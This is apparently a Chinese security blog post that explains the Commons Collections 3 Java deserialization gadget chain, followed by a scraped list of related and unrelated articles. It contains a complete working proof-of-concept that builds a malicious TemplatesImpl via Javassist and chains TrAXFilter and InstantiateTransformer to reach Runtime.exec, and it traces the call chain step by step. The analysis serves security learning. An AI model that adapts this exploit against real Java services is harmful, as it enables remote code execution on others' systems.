Java安全之Commons Collections3分析
Java安全之Commons Collections3分析
文章首发:Java安全之Commons Collections3分析
0x00 前言
在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。CC1的利用链是
Map(Proxy).entrySet()
触发AnnotationInvocationHandler.invoke()
,而CC2链的利用链是通过InvokerTransformer.transform()
调用newTransformer
触发RCE。这里就不说这么详细感兴趣可以看前面几篇文章。听说CC3链是CC1和CC2链的结合体。下面来分析一下CC3链。
0x01 前置知识
在CC3利用链的构造里面其实没有用到很多的新的一些知识点,但是有用到新的类,还是需要记录下来。
InstantiateTransformer
首先还是查看一下构造方法。
在查看下面的代码的时候会发现他的transform
方法非常的有意思。
transform
方法会去使用反射实例化一个对象并且返回。
TrAXFilter
查看TrAXFilter
的构造方法,会发现更有意思的事情
_transformer = (TransformerImpl) templates.newTransformer();
调用了传入参数的newTransformer()
方法。在CC2链分析的时候,使用的是反射调用newTransformer
,newTransformer
调用defineTransletClasses()
。最后再调用_class.newInstance()
实例化_class
对象。那么如果是使用TrAXFilter
的话,就不需要InvokerTransformer
的transform
方法反射去调用了。
0x02 POC分析
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
上面是一段POC代码,先来分析一下,POC为什么要这样去构造。
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
先来执行一遍看一下执行的结果
能够执行成功并且弹出计算器。
其实看到代码前面部分,和CC2利用链的构造是一模一样的。在CC2链中分析文章里面讲到过。这里就来简单概述一下。
这里是采用了Javassist
方式创建一个类,然后设置该类的主体为Runtime.exec("clac.exe")
,设置完成后,将该类转换成字节码。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
反射获取TemplatesImpl
类的_bytecodes
成员变量,设置值为上面使用Javassist
类转换后的字节码。
反射获取TemplatesImpl
类的_name
成员变量,设置值为test。
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
ConstantTransformer
在调用transform
方法的时候,会遍历的去调用数组里面transform
方法。并且将执行结果传入到第二次遍历执行的参数里面。
第一次执行this.iTransformers[i]
为ConstantTransformer
。所以,调用的是ConstantTransformer
的transform
方法该方法是直接返回传入的对象。这里返回了个TrAXFilter.class
对象。
而在第二次遍历执行的时候传入的就是TrAXFilter.class
对象,然后再反射的去获取方法,使用newInstance
实例化一个对象并且进行返回。
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
这里是将上面构造好的ChainedTransformer
的实例化对象,传入进去。在调用lazyMap
的get方法的时候,就会去调用构造好的ChainedTransformer
对象的transform
方法。
那么下面就会引出lazyMap
的get方法的调用问题,再来看下面一段代码。
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
反射创建了一个AnnotationInvocationHandler
对象,传入Override.class
和lazyMap
的对象,并使用AnnotationInvocationHandler
作为调用处理器,为lazyMap
做一个动态代理。关于这里为什么要传入一个Override.class
的问题,其实因为AnnotationInvocationHandler
本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数(所有的注解类型都继承自这个Annotation接口)。在这里面不管传入的是Retention.class
还是Override.class
都是可行的。
这的lazyMap
作为被代理的对象后,调用任意的方法都会去执行调用处理器的invoke
方法。AnnotationInvocationHandler
实现了InvocationHandler
,可以被当作调用处理器传入。而我们在这时候调用lazyMap
的任意方法的话,就会执行一次AnnotationInvocationHandler
中的invoke
方法。而在AnnotationInvocationHandler
的invoke
方法中就会调用get方法。
在调用get方法后又回到了前面说到的地方,这里就会去调用transform
方法去完成后面的命令执行。这里先不细说。
在分析完POC代码后其实并没有去看到一个完整的调用链,这里有必要去调试一遍。
0x03 CC3链调试
先在AnnotationInvocationHandler
的readobject
方法中去打个断点进行调试分析
在这里可以看到这里的this.memberValues
的值为被代理的lazyMap
的对象,调用了lazyMap
的entrySet
方法。那么这时候被代理对象的调用处理器的invoke
方法会执行。前面说过使用的AnnotationInvocationHandler
作为调用处理器,这里调用的就是AnnotationInvocationHandler
的invoke
方法,跟进一下invoke
方法。
invoke
方法在内部调用了lazyMap
的get方法,再来跟进一下get方法
到这里其实就能看到了 this.factory.transform(key);
,调用了transform
方法,在这里的this.factory
为ChainedTransformer
的实例化对象。再来跟进一下transform
方法就能看到ChainedTransformer
的transform
内部的调用结构。
在POC构造的时候为ChainedTransformer
这个对象传入了一个数组,数组的第一值为ConstantTransformer
实例化对象,第二个为InstantiateTransformer
实例化对象。
所以在这里第一次遍历this.iTransformers[i]
的值为ConstantTransformer
。ConstantTransformer
的transform
会直接返回传入的对象。在POC代码构造的时候,传入的是TrAXFilter
对象,所以在这里会直接进行返回TrAXFilter
,并且会作为第二次遍历的传参值。
而在第二次遍历的时候,this.iTransformers[i]
的值为InstantiateTransformer
的实例化对象。所以调用的是InstantiateTransformer
的transform
方法并且传入了TrAXFilter
对象。跟进一下InstantiateTransformer
的transform
方法。
这里其实是比较有意思的,刚刚传入的是TrAXFilter
对象,所以这里的input为TrAXFilter
,this.iParamTypes
为Templates
,this.iArgs
为构造好的恶意TemplatesImpl
实例化对象。(这里之所以说他是恶意的TemplatesImpl
对象是因为在前面使用反射将他的_bytecodes
设置成了一个使用javassist
动态创建的恶意类的字节码)
该transform
方法中使用getConstructor
方法获取TrAXFilter
参数为Templates
的构造方法。
使用该构造方法创建一个对象,并且传入恶意的TemplatesImpl
实例化对象。在该构造方法当中会调用TemplatesImpl
的newTransformer
方法。跟进一下newTransformer
方法。
newTransformer
方法内部调用了getTransletInstance
方法再跟进一下。
这里可以看到先是判断了_name
的值是否为空,为空的话就会执行返回null,不向下执行。这也是前面为什么使用反射获取并且修改_name
值的原因。
下面一步是判断_class
是否为空,显然我们这里的_class
值是null,这时候就会调用defineTransletClasses
方法,跟进一下。
下面标注出来这段是_bytecodes
对_class
进行赋值,这里的_bytecodes
的值是使用javassist
动态创建的恶意类的字节码 执行完后,来到下一步。
这里会对该字节码进行调用newInstance
方法实例化一个对象,然后就可以看到命令执行成功。
关于这个为什么调用newInstance
实例化一个对象,命令就直接执行成功的问题,其实我的在CC2链分析里面也说到过,主要还是看使用javassist
动态创建一个类的时候,他是怎么去构造的。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
先将该类写出来到文件中,然后再去查看。
看到这个其实就一目了然了,使用setBody
设置主体的时候,代码其实是插入在静态代码块中的。静态代码块的代码在实例化对象的时候就会进行执行。
调用链
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()
0x04 结尾
其实在调试CC3这条利用链的时候,会发现前半部分使用的是CC2利用链的POC代码,而后半部分则是CC1的利用链代码。调试过这两条利用链的话,调试CC3这条利用链会比较简单易懂。
在写这篇文的时候,第一次刚码完字,电脑就蓝屏了。重新打开文件的时候,文章的文件也清空了。只能重写一遍,但是重写完后,发现虽然字数也差不多,但是感觉细节点的地方还是少了东西,但是又不知道具体在哪些地方少了。
Java安全之Commons Collections3分析的更多相关文章
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
随机推荐
- Linux实战(12):Centos装机常用脚本-进阶版
#!/bin/bash #shell菜单演示 function menu() { echo -e `date` cat <<EOF ---------------------------- ...
- 企业项目实战 .Net Core + Vue/Angular 分库分表日志系统一 | 前言
教程预览 01 | 前言 02 | 简单的分库分表设计 03 | 控制反转搭配简单业务 04 | 强化设计方案 05 | 完善业务自动创建数据库 06 | 最终篇-通过AOP自动连接数据库-完成日志业 ...
- 005.操作系统及Linux系统,虚拟机的作用和发展历史
操作系统及其作用 操作系统发展史 Linux系统 虚拟机 操作系统 操作系统 操作系统的作用 不同领域的主流操作系统 操作系统(Operation System,OS) 操作系统作为接口的示意图 没有 ...
- 实现图片的上传(要求:上传到指定的FTP服务器)
考核的知识点: (1)Linux系统的使用 (2)tengine 纯HTTP的web服务器 (3)SpringMVC的上传功能 (4)FTP的数据传到 1.1 传统上传方式的问题 但是在 ...
- 如何使用NuGet package .nupkg文件?
如果你本来就有.nupkg文件并且你只需要.dll文件的话,你可以通过打开.zip下的lib文件夹来获取. 例如:
- nginx特性
nginx特点: 更快,高扩展性,高可靠性,低能耗性,单机支持10w以上的并发连接,热部署,自由的BSD, Apache.Lighttpd.Tomcat.Jetty.IIS,它们都是Web服务器 SN ...
- linux 重启服务器命令
Linux有如下的关机和重启命令:shutdown, reboot,poweroff, halt shutdown shutdown命令是大家都推荐的一个安全的命令,通过参数-h或-r的配合来完成关机 ...
- sping ioc 源码分析(一)-- register(componentClasses) 方法
一.测试环境的搭建: public class Apple { } @Component public class MyComponet { } public class MyCondition im ...
- DIV垂直滚动效果源码
<div id="demo" style="width: 300; overflow: hidden; line-height:24px; height: 100p ...
- sqli-labs第三关 详解
通过第二关,来到第三关 我们用了前两种方法,都报错,然后自己也不太会别的注入,然后莫名的小知识又增加了.这居然是一个带括号的字符型注入, 这里我们需要闭合前面的括号. $sql=select * fr ...